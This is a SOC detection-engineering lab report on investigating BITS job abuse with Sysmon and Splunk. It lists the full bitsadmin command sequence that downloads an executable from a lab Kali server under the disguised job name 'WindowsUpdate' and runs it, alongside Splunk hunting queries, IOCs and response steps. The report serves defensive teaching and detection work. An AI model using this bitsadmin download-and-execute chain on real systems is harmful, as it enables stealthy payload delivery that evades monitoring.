SOC Investigation Report — BITS Job Abuse Detection and Investigation using Sysmon and Splunk

Field	Value
Case ID	SOC-LAB-2026-0801-BITS
Classification	Detection Engineering Lab / Threat Hunting Exercise
Analyst	Edwin Dominic
Host	WIN11-CLIENT01
User Account	WIN11-CLIENT01\Socadmin
Attacker-Simulated Host	Kali Linux — 192.168.56.107 (Apache HTTP Server)
Data Source	Sysmon (Operational log) → Splunk (`index=sysmon`)
Date of Activity	2026-08-01 (17:22:38 – 17:25:21 UTC)
Alert Triggered	*Suspicious LOLBin Activity – BITSAdmin Job Lifecycle*
Severity (Investigated)	High — confirmed controlled simulation, end-to-end successful
Outcome	Payload staged and executed successfully via BITS

---

1. Objective

Detect and investigate abuse of the Background Intelligent Transfer Service (BITS) via `bitsadmin.exe` to stage and execute a remote payload — a LOLBin technique (MITRE T1197) attackers favor because BITS transfers run as a background OS service, tolerate network interruptions, and are commonly mistaken for legitimate Windows Update traffic. The goal was to reconstruct the full BITS job lifecycle — creation, file association, transfer, completion, and execution — using Sysmon telemetry in Splunk, and to determine why two expected telemetry artifacts did not appear.

Lab infrastructure note: the payload was initially hosted on Python's built-in `http.server`, which does not reliably return the `Accept-Ranges: bytes` header BITS depends on for resumable, range-based transfers. The job stalled as a result. Hosting was migrated to Apache, which returns the required header, and the transfer completed successfully on retry. This also better reflects real-world staging infrastructure, which is rarely Python's development server.

---

2. Attack Scenario & Verdict

From an interactive `cmd.exe` session, `Socadmin` used `bitsadmin.exe` to create a BITS job named `WindowsUpdate`, associate it with a remote executable hosted on a Kali Linux Apache server, resume the transfer, verify completion, and finalize the job — after which the downloaded executable was run directly.

Verdict: Confirmed benign — controlled simulation. A custom, benign executable (`EndpointInventory.exe`) was used solely to generate realistic post-download execution telemetry — it collects host/OS/network information and exits, with no harmful functionality. It was deliberately named `WindowsUpdate` at the job level and staged to `C:\ProgramData\` to mirror realistic attacker tradecraft

(blending into administrative activity) rather than to imply the file itself is malware. The technique executed to full completion, making this the first investigation in this series where the attack succeeded end-to-end rather than being interrupted.

---

3. Initial Detection

Query: `index=sysmon EventCode=1 Image="*\\bitsadmin.exe"`

Finding
The investigation begins with `cmd.exe` (PID 4144, ProcessGuid `{0875a023-2b5e-6a6e-8601-000000004800}`), launched by `explorer.exe` (PID 5784) at 17:22:38.487 UTC, followed immediately by the first `bitsadmin.exe` invocation at 17:22:41.969 UTC:

```
bitsadmin /create WindowsUpdate
```

All `bitsadmin.exe` invocations in this session share the same parent (`cmd.exe`, PID 4144) and the same binary hash, confirming a single continuous interactive session rather than separate, unrelated executions.

---

4. Initial Assessment — Why the Activity Was Flagged

Indicator	Detail
Job name `WindowsUpdate`	Deliberately chosen to blend into legitimate Windows administrative activity — a realistic tradecraft detail, not a technical requirement of the technique
Remote HTTP source	The job's associated URL points to an external LAN host (`192.168.56.107`), not a Microsoft or internal update endpoint
Staging path	`C:\ProgramData\EndpointInventory.exe` — a common LOLBin staging location, chosen for being writable and inconspicuous
Full lifecycle scripted	Six sequential `bitsadmin.exe` invocations (`/create`, `/list`, `/addfile`, `/info` ×2, `/resume`, `/complete`) in under two minutes reflect deliberate, scripted tradecraft rather than incidental administrative use
Immediate execution post-transfer	The downloaded file was executed directly after job completion, consistent with staged tool deployment rather than a legitimate update workflow

---

5. BITS Job Lifecycle Investigation

Query: `index=sysmon EventCode=1 ParentProcessGuid="{0875a023-2b5e-6a6e-8601-000000004800}" Image="*\\bitsadmin.exe" | sort _time`

Finding — the full command sequence, in order:

Time (UTC)	Command	Purpose
17:22:41.969	`bitsadmin /create WindowsUpdate`	Creates the BITS job container
17:22:59.650	`bitsadmin /list /allusers`	Enumerates existing BITS jobs — consistent with an operator checking for job-name collisions or prior activity before proceeding
17:23:11.656	`bitsadmin /addfile WindowsUpdate http://192.168.56.107/EndpointInventory.exe C:\ProgramData\EndpointInventory.exe`	Associates the job with the remote source and local destination in a single event — this is the highest-value artifact in the chain, exposing attacker infrastructure, filename, and destination together
17:23:19.272	`bitsadmin /info WindowsUpdate /verbose`	Pre-transfer status check
17:23:34.882	`bitsadmin /resume WindowsUpdate`	Begins the actual transfer
17:23:42.512	`bitsadmin /info WindowsUpdate /verbose`	Post-resume status check — operators commonly verify `STATE: TRANSFERRED` before finalizing
17:24:45.185	`bitsadmin /complete WindowsUpdate`	Commits the downloaded file to its final path, ending the job's transient state

The two `/info` checks bracketing the `/resume` call are a notable behavioral pattern: an operator confirming transfer success before committing the job, mirroring how a real intrusion operator would validate staging before execution.

---

6. Payload Execution Investigation

Query: `index=sysmon EventCode=1 Image="C:\\ProgramData\\EndpointInventory.exe"`

Finding
`EndpointInventory.exe` (PID 1292, ProcessGuid `{0875a023-2bf6-6a6e-ba01-000000004800}`) executed at 17:25:10.375 UTC, parented directly by `cmd.exe` (PID 4144) — the same interactive session that ran the BITS commands — confirming the staged file was executed manually and immediately following completion, at High integrity.

Analyst note — PE metadata artifact: the binary's `OriginalFileName` field reads `EndpointInventory.dll` despite being an `.exe` on disk. In this case the mismatch is a benign .NET build artifact (the compiler embeds the original module name from the project's build output), but the same field is worth checking on any unfamiliar binary — a mismatched `OriginalFileName` is a legitimate detection signal when the substitution is deliberate.

---

7. Post-Execution Activity Investigation

Query: `index=sysmon EventCode=22 ProcessGuid="{0875a023-2bf6-6a6e-ba01-`

Finding
`EndpointInventory.exe` generated a single DNS query for `WIN11-CLIENT01` (its own hostname) at 17:25:21.793 UTC, as part of its normal functionality — matching the payload's `Dns.GetHostAddresses(Dns.GetHostName())` call used to enumerate local IP addresses for its inventory output. This is not indicative of malicious activity; it serves as secondary telemetry corroborating that the process actually executed its intended logic rather than crashing immediately — useful confirmation in cases where more direct execution evidence is thin.

---

8. Attack Chain

```
explorer.exe
 └── cmd.exe
       ├── bitsadmin.exe /create WindowsUpdate
       ├── bitsadmin.exe /list /allusers
       ├── bitsadmin.exe /addfile WindowsUpdate <URL> <path>
       ├── bitsadmin.exe /info WindowsUpdate /verbose
       ├── bitsadmin.exe /resume WindowsUpdate
       │     └── [BITS service transfers file — see Section 9]
       ├── bitsadmin.exe /info WindowsUpdate /verbose
       ├── bitsadmin.exe /complete WindowsUpdate
       └── EndpointInventory.exe
             └── DNS query (self-hostname resolution)
```

---

9. Missing Telemetry — Analytical Assessment

Two artifacts commonly expected in a download-and-execute chain were absent, and both are explained by the deployed Sysmon configuration rather than left as unexplained gaps.

Event ID 3 (Network Connection) — explained. `bitsadmin.exe` is only an administrative client; it does not perform the HTTP transfer itself. The actual transfer is carried out by the BITS service, which runs inside a `svchost.exe` process (`-k netsvcs -s BITS`), not `bitsadmin.exe`. This host's Sysmon `NetworkConnect` rule uses `onmatch: include` scoped to a specific list of LOLBins (`bitsadmin.exe`, `certutil.exe`, `powershell.exe`, etc.) — `svchost.exe` is not on that list. The network connection that actually moved the file was therefore never in scope for logging on this host, independent of whether the transfer succeeded.

Event ID 11 (File Create) for `EndpointInventory.exe` — unexplained, documented as such. The active `FileCreate` include rule explicitly covers filenames ending in `.exe`, which should have matched this file. No exclude rule in the configuration targets this path or process. The most likely explanations are transfer-timing interaction with the BITS commit process or an artifact of the export window used to collect this log set — but unlike the Event ID 3 gap, this one cannot be attributed to a specific configuration rule. It is documented here as an open finding rather than fabricated or quietly omitted.

Why this doesn't weaken the investigation: execution was independently confirmed via Sysmon Event ID 1 (Section 6) and corroborated via the DNS query in Section 7. A credible investigation states what the evidence supports and explains gaps where possible, rather than requiring every expected artifact to be present.

---

10. Timeline Reconstruction (UTC)

Time	Activity
17:22:38.487	`explorer.exe` spawns `cmd.exe`
17:22:41.969	`bitsadmin /create WindowsUpdate`
17:22:59.650	`bitsadmin /list /allusers`
17:23:11.656	`bitsadmin /addfile` — source, destination, and job name all exposed in one event
17:23:19.272	`bitsadmin /info /verbose` (pre-resume check)
17:23:34.882	`bitsadmin /resume WindowsUpdate` — transfer begins
17:23:42.512	`bitsadmin /info /verbose` (post-resume check)
17:24:45.185	`bitsadmin /complete WindowsUpdate` — file committed to `C:\ProgramData\`
17:25:10.375	`EndpointInventory.exe` executed
17:25:21.793	Self-hostname DNS query from `EndpointInventory.exe`

Total elapsed time from job creation to execution: **~2 minutes 28 seconds**.

---

11. MITRE ATT&CK Mapping

Tactic	Technique	ID	Evidence
Defense Evasion / Execution	BITS Jobs	T1197	Full `bitsadmin.exe` job lifecycle (`/create`, `/addfile`, `/resume`, `/complete`) used to stage a file via a trusted background transfer service
Command & Control / Delivery	Ingress Tool Transfer	T1105	Remote executable transferred from attacker-controlled infrastructure over HTTP
Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	`cmd.exe` drove the entire `bitsadmin.exe` sequence interactively
Discovery	System Network Configuration Discovery	T1016	DNS self-resolution performed by the executed payload

---

12. Indicators of Compromise (IOC)

Host Indicators

Type	Value
Hostname	WIN11-CLIENT01
User	WIN11-CLIENT01\Socadmin
Initiating process	cmd.exe (PID 4144), parented by explorer.exe

Process Indicators

Process	PID	SHA256
bitsadmin.exe (all invocations)	1196 / 7740 / 7372 / 9508 / 8952 / 7900 / 1828	2B090BB7151BF87FC6FA36E13F509B5059A68E694EEC2253F1AB74F9A7A0247B
EndpointInventory.exe	1292	6E050BCFE096F9ED026AFAAE1B11EA62CA38689C26B892F1C58A7F406C033CC5

BITS Job Indicators

Type	Value
Job name	`WindowsUpdate`
Remote source	`http://192.168.56.107/EndpointInventory.exe`
Local destination	`C:\ProgramData\EndpointInventory.exe`

---

13. Threat Assessment

BITS Jobs abuse (T1197) is attractive to attackers because it operates through a trusted, always-present Windows service rather than a suspicious standalone process, tolerates network interruption and system reboots without losing transfer progress, and produces a command-line footprint (`bitsadmin.exe`) that many organizations don't monitor as closely as PowerShell or `certutil.exe`. Because the actual data transfer is delegated to the BITS service (`svchost.exe`), environments that only monitor network connections from user-space LOLBins — as this lab's Sysmon configuration does — will miss the network leg of the technique entirely, making process-level and command-line detection the primary control for this specific technique.

---

14. Splunk Threat Hunting & Correlation Queries

Identify BITSAdmin Job Lifecycle Activity

```
index=sysmon EventCode=1 Image="*\\bitsadmin.exe"
| table _time Computer User ParentImage CommandLine ProcessGuid
```

Purpose: Surfaces the full sequence of `bitsadmin.exe` commands environment-wide — job names, sources, and destinations are all visible directly in the command line.

Correlate the Full Process Lineage

```
    index=sysmon (ProcessGuid="{0875a023-2b5e-6a6e-8601-000000004800}" OR
ParentProcessGuid="{0875a023-2b5e-6a6e-8601-000000004800}")
    | sort _time
    | table _time EventCode Image ParentImage CommandLine
```

Purpose: Reconstructs the entire session from the initial `cmd.exe` through every `bitsadmin.exe` call and the executed payload in one pass.

Hunt for BITS Jobs Targeting Non-Standard Destinations

```
    index=sysmon EventCode=1 Image="*\\bitsadmin.exe" CommandLine="*/addfile*"
    | rex field=CommandLine
"\/addfile\s+\S+\s+(?<source_url>\S+)\s+(?<dest_path>\S+)"
    | table _time Computer User source_url dest_path
```

Purpose: Extracts source URL and destination path directly from the `/addfile` command line for rapid triage across many hosts.

Hunt for BITS Service Network Activity (svchost.exe)

```
    index=sysmon EventCode=3 Image="*\\svchost.exe"
    | table _time Computer Image DestinationIp DestinationPort DestinationHostname
```

Purpose: Given that `bitsadmin.exe` itself never appears in network telemetry, this query targets the process that actually performs BITS transfers — necessary for any environment with a similarly scoped `NetworkConnect` rule.

Hunt for Execution Following BITS Job Completion

```
    index=sysmon EventCode=1 ParentImage="*\\cmd.exe"
    | join type=left ParentProcessGuid [search index=sysmon EventCode=1
Image="*\\bitsadmin.exe" CommandLine="*complete*" | rename ProcessGuid as
ParentProcessGuid]
    | where isnotnull(CommandLine)
```

Purpose: Flags any process executed by the same parent shortly after a `/complete` command — directly targets the staging-then-execution pattern rather than either step in isolation.

---

16. Detection Engineering

Monitoring coverage — this activity is reliably detectable by alerting on:

- `bitsadmin.exe` invoked with `/addfile`, particularly where the source URL is not an internal or Microsoft-owned domain
- Job names chosen to impersonate legitimate services (e.g. containing "update", "windows", "sync") combined with an external source

- `svchost.exe` network connections to non-corporate destinations (requires including `svchost.exe` in `NetworkConnect` scope, filtered by parent service if possible)
- Execution of a file from `C:\ProgramData\` or another staging directory shortly after a `bitsadmin /complete` for the same filename

Actionable rule specs:

1. **High-fidelity alert:** `bitsadmin.exe /addfile` where the source URL host is not on an organizational allow-list — this single event exposes the full staging operation and warrants direct escalation.

2. **Correlation rule:** any process execution where the image path matches the destination path of a recent `bitsadmin /complete` command for the same job, within a defined window (e.g. 10 minutes).

3. **Sysmon config improvement:** add `svchost.exe` to the `NetworkConnect` include list, ideally filtered to connections coincident with a `-s BITS` service host, to close the Event ID 3 gap identified in Section 9 rather than relying on command-line evidence alone.

---

17. Recommended Response Actions

1. **Cancel** any suspicious BITS jobs immediately: `bitsadmin /cancel <jobname>` prevents further transfer activity.

2. **Isolate** the affected host if the downloaded file's hash or behavior is unknown or unconfirmed.

3. **Inspect** the staged file at its destination path before it can be executed, where the investigation catches the job at the `/complete` stage.

4. **Block** the source host/domain at the proxy or firewall.

5. **Enumerate** all BITS jobs on the host (`bitsadmin /list /allusers`) to rule out additional jobs created in the same session.

6. **Submit** the downloaded file's hash to the EDR/AV vendor and internal threat intel platform if not already a known-good binary.

7. **Review Sysmon coverage** for the BITS service (`svchost.exe -s BITS`) specifically, given that the client-side binary (`bitsadmin.exe`) does not itself generate network telemetry.

---

18. Conclusion

This investigation reconstructed a complete BITS Jobs abuse chain — job creation, remote file association, transfer, completion, and execution — entirely through `bitsadmin.exe` command-line telemetry, without needing network connection or file creation events to establish the finding. The `/addfile` event alone exposed the attacker's source infrastructure, staged filename, and destination path in a single log line, making it the highest-value artifact in the case.

Two expected telemetry gaps were investigated rather than ignored: the absence of Event ID 3 was fully explained by the Sysmon configuration's process-scoped `NetworkConnect` rule combined with BITS's architecture of delegating actual transfers to a `svchost.exe`-hosted service; the absence of Event ID 11 for the payload could not be definitively explained and is documented as an open finding. This distinction — between a gap that is explained and one that is honestly left open — is itself the standard a credible SOC investigation should meet.

This is the first investigation in this series where the technique executed successfully end-to-end, and it demonstrates a materially different investigative focus from prior LOLBin projects: the evidence here centers on abuse of a Windows *service's job lifecycle* rather than a single suspicious process launch, mapping to MITRE T1197 (BITS Jobs) and T1105 (Ingress Tool Transfer).

Appendix: Payload Source (`EndpointInventory.exe`)

```
using System;
using System.Diagnostics;
using System.IO;
using System.Net;

class Program
{
    static void Main()
    {
        string folder = @"C:\ProgramData\Inventory";
        Directory.CreateDirectory(folder);

        string logFile = Path.Combine(folder, "inventory.log");

        using (StreamWriter writer = new StreamWriter(logFile))
        {
            writer.WriteLine("====================================");
            writer.WriteLine(" Corporate Asset Inventory Tool");
            writer.WriteLine("====================================");
            writer.WriteLine();

            writer.WriteLine("Collection Time : " + DateTime.Now);
            writer.WriteLine("Username        : " + Environment.UserName);
            writer.WriteLine("Computer Name   : " + Environment.MachineName);
            writer.WriteLine("OS Version      : " + Environment.OSVersion);
            writer.WriteLine();

            writer.WriteLine("IP Addresses");

            foreach (IPAddress ip in Dns.GetHostAddresses(Dns.GetHostName()))
            {
                writer.WriteLine(" - " + ip);
            }

            writer.WriteLine();
            writer.WriteLine("====================================");
            writer.WriteLine(" Inventory Complete");
            writer.WriteLine("====================================");
        }

        Console.WriteLine("Inventory collection completed.");
        Console.WriteLine("Log saved to:");
        Console.WriteLine(logFile);

        Console.WriteLine();
        Console.WriteLine("Press any key to exit...");
        Console.ReadKey();
    }
}
```

This confirms the executable's only functionality is local host/network inventory collection and log output — the `Dns.GetHostAddresses()` call in Section 7 traces directly to the `foreach` loop above, and no network transmission, persistence, or system modification occurs anywhere in the code.